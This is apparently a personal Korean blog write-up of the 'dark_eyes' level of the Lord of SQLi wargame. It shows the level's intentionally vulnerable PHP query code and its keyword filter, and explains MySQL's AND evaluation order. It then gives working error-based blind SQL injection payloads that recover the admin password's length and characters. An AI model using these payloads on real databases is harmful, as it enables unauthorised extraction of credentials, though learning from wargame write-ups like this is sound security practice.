본문 바로가기
[웹해킹]/[LOS]

[LOS] DARK_EYES

by Hevton 2020. 12. 30.
반응형
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

 

난 왜이리 궁금한것들이 많이 떠오를까ㅋㅋ.. 이 문제를 풀다가도 의문이 생겼었다.

mysql> select * from people;
+----+--------+-----------+
| id | sex    | name      |
+----+--------+-----------+
|  1 | 남자   | 김준영    |
|  2 | 남자   | 박민수    |
|  3 | 여자   | 김영지    |
|  4 | 남자   | 이준수    |
|  5 | 남자   | 구준표    |
|  6 | 여자   | 이윤지    |
|  7 | 여자   | 이혜리    |
|  8 | 여자   | 권아영    |
|  9 | 여자   | 김예지    |
| 10 | 남자   | 이준필    |
+----+--------+-----------+
10 rows in set (0.00 sec)

mysql> select * from people where 0 and (select 1 union select 2);
Empty set (0.00 sec)

mysql> select * from people where id=50 and (select 1 union select 2);
ERROR 1242 (21000): Subquery returns more than 1 row

이 문제를 풀려면 (select 1 union select 2) 유형의 구문을 사용하는데, 이 작동 방식에 대해 실험하다가 의문이 생겼다.

논리연산자의 단축평가에 의해 앞 부분이 0이라면 뒤에는 무조건 실행되지 않아야 하는 것이므로, 둘 다 결과가 동일하게 Empty set이 나와야 하는데... 아래 경우는 오류를 뿜었다. id = 50인 레코드가 없는데도 말이다.

 

 

두 가지 정도의 이유가 있는 듯 하다.

쿼리 자체가 실행(=검색실행) 되고 안되고의 차이에 더불어 AND 연산자의 순서 차이.

 

우선 중요한 점은, SQL에서는 A and B 에서 A 와 B의 평가 순서를 시스템이 알아서 효율적으로 선택한다.

 

첫번째의 경우 조건이 변하지 않는 상수 0이 나왔기 때문에 테이블에 대한 검색 자체를 하지 않을 뿐더러 서브쿼리도 평가하지 않는다.

두번째의 경우 id=50인게 있는지 없는지 검색 전까지는 모르므로 쿼리 실행으로 검색을 수행하긴 하는데, 이 때 SQL 에서는 AND 연산의 평가 순서를 스스로 자율적으로 선택하기에, 뒤에 있는 서브쿼리가 먼저 평가되어서 오류를 뿜게 된다.

stackoverflow.com/questions/65505302/what-is-the-difference-between-the-two-syntaxes-in-sql/65505425?noredirect=1#comment115811146_65505425

 

-------------------------------------------------------------------------------------------

휴.. 어쨌든 이번 문제는 (select x union select y) 서브쿼리를 이용해서 푼다.

mysql> select 1 union select 2;
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)

mysql> select 1 union select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

이전 iron_golem 문제도 그렇고, 스칼라 값 위치에 (select 1 union select 2) 같은 다중 행을 넣음으로써 에러를 발생시키는 동작을 이끌었는데, 이렇게 앞 뒤 인자가 같을 경우엔 단일 행으로 출력되는 점을 이용하면 된다.

 

 

 

비밀번호 길이 알아내기

->

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and (select 1 union select length(pw)=8)#'

 

length(pw) = 8 일때, select 1 union select 1이 되면서 다중 행이 아닌 단일 행 스칼라값이 들어가면서 쿼리가 정상적으로 동작한다.

 

 

비밀번호 값 알아내기

->

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and (select 1 union select ord(mid(pw,x,1))>y)#'

 

x y에 값을 넣어가며 알아간다.

 

query : select id from prob_dark_eyes where id='admin' and pw='5a2f5d3c'

 

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] EVIL_WIZARD  (0) 2021.02.05
[LOS] HELL_FIRE  (0) 2021.02.01
[LOS] IRON_GOLEM  (0) 2020.12.29
[LOS] DRAGON  (0) 2020.12.28
[LOS] XAVIS  (0) 2020.12.27